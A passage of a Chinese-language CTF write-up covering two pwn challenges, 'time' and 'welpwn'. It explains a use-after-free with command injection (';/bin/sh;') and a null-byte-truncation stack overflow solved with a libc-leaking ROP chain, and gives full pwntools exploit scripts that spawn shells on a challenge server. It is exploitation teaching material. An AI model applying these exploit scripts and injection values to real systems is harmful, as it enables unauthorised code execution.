v6 = sub_400EA3((__int64)v4, (__int64)"> ", v5);
break;
case 5:
v6 = sub_400F8F();
break;
default:
continue;
}
break;
}
}
while ( !v6 );
return 0LL;
}

主要记录几个没见过的函数:

strcspn
C 库函数 size_t strcspn(const char *str1, const char *str2) 检索字符串 str1 开头连续有几个字符都不含字符串 str2 中的字符。

strdup
char * strdup(const char *s) 会先用maolloc()配置与参数s 字符串相同的空间大小,然后将参数s 字符串的内容复制到该内存地址,然后把该地址返回。该地址最后可以利用free()来释放。

getenv
C 库函数 char *getenv(const char *name) 搜索 name 所指向的环境字符串,并返回相关的值给字符串。

setenv
int setenv(const char *name,const char * value,int overwrite) 用来改变或增加环境变量的内容。参数name为环境变量名称字符串。参数 value则为变量内容,参数overwrite用来决定是否要改变已存在的环境变量。如果没有此环境变量则无论overwrite为何值均添加此环境变量。若环境变量存在,当overwrite不为0时,原内容会被改为参数value所指的变量内容;当overwrite为0时,则参数value会被忽略。返回值 执行成功则返回0,有错误发生时返回-1。

__snprintf_chk
int __snprintf_chk(char * str, size_t maxlen, int flag, size_t strlen, const char * format) 转换格式化输出,在计算结果之前应检查缓冲区溢出,具体取决于flag参数的值 。如果预期出现溢出,则该函数将中止,并且调用它的程序将退出。
通常,flag的值越高,此接口应以检查缓冲区,参数值等形式采取的安全措施越多。
参数strlen指定缓冲区str的大小 。如果strlen小于 maxlen,则该函数将中止,并且调用它的程序将退出。
所述__snprintf_chk()函数不在源标准; 它只在二进制标准中。

第一个选项时输入format字符串,然后malloc空间将其存下来,但是加了字符过滤

第二个选项输入时间,fgets_int函数是吧输入的字符转为整型

第三个选项设置时区,同样是先获取再malloc,但是没了字符过滤

第四个选项执行system函数,参数为ptr指针的内容

第五个选项退出,double free

利用UAF

1.由于1有字符过滤,所以先随便输入一个合法字符串,那么就申请了一个堆块

2.选5,free掉,加入fastbin,此时ptr形成悬挂指针

3.通过3再申请回来,并进行命令注入(类似sql注入)

4.选4,执行system函数

5.没问题的话即可getshell


exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
# context.log_level = 'debug'
#io = remote('220.249.52.133',58662)
io = process('./time')

io.sendlineafter(">", str(1))
io.sendline("%a")

io.sendlineafter(">", str(5))
io.sendline("")

io.sendlineafter(">", str(3))
io.sendline("';/bin/sh;'")

io.sendlineafter(">", str(4))

io.interactive()

0x0C welpwn

主函数

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-400h]

write(1, "Welcome to RCTF\n", 0x10uLL);
fflush(_bss_start);
read(0, &buf, 0x400uLL);
echo((__int64)&buf);
return 0;
}

看到echo????一脸异或(疑惑)

此echo非此echo,点进去可以看到代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __fastcall echo(__int64 a1)
{
char s2[16]; // [rsp+10h] [rbp-10h]

for ( i = 0; *(_BYTE *)(i + a1); ++i )
s2[i] = *(_BYTE *)(i + a1);
s2[i] = 0;
if ( !strcmp("ROIS", s2) )
{
printf("RCTF{Welcome}", s2);
puts(" is not flag");
}
return printf("%s", s2);
}

关键在于两个函数的栈大小,显然main无法栈溢出

可以看出程序先将输入的buf值复制到s2中,s2只有0x10的大小,所以可以溢出

但是在复制的过程中有\x00截断,所以无法直接构造rop

比如我们的payload为payload = 'a'*0x18 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)

由于是64为包装,因此payload字符串为’a’*0x18 + ‘\xa3\x08\x40\x00\x00\x00\x00\x00’ + ‘……’

后面的值就不会被复制进去

这里贴上大佬的图,通俗易懂

至于两个栈地址为什么连续,动态调一下就知道了

image-20200808200706572

这样构造rop就可以巧妙地避过s2截断的问题


exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *  
from LibcSearcher import *
context.log_level = 'debug'
#sh = process('./welpwn')
sh = remote('220.249.52.133',53291)
elf = ELF('./welpwn')

write_got = elf.got['write']
puts_plt = elf.plt['puts']
pop4 = 0x40089C
pop_rdi = 0x4008A3
main_addr = 0x4007CD
sh.recvuntil('Welcome to RCTF\n')
payload = 'a'*0x18 + p64(pop4) + p64(pop_rdi) + p64(write_got) + p64(puts_plt) + p64(main_addr)
sh.send(payload)
sh.recvuntil('\x40')
write_addr = u64(sh.recv(6).ljust(8,'\x00'))
print hex(write_addr)

libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

sh.recvuntil('\n')
payload2 = 'a'*0x18 + p64(pop4) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
sh.send(payload2)
sh.interactive()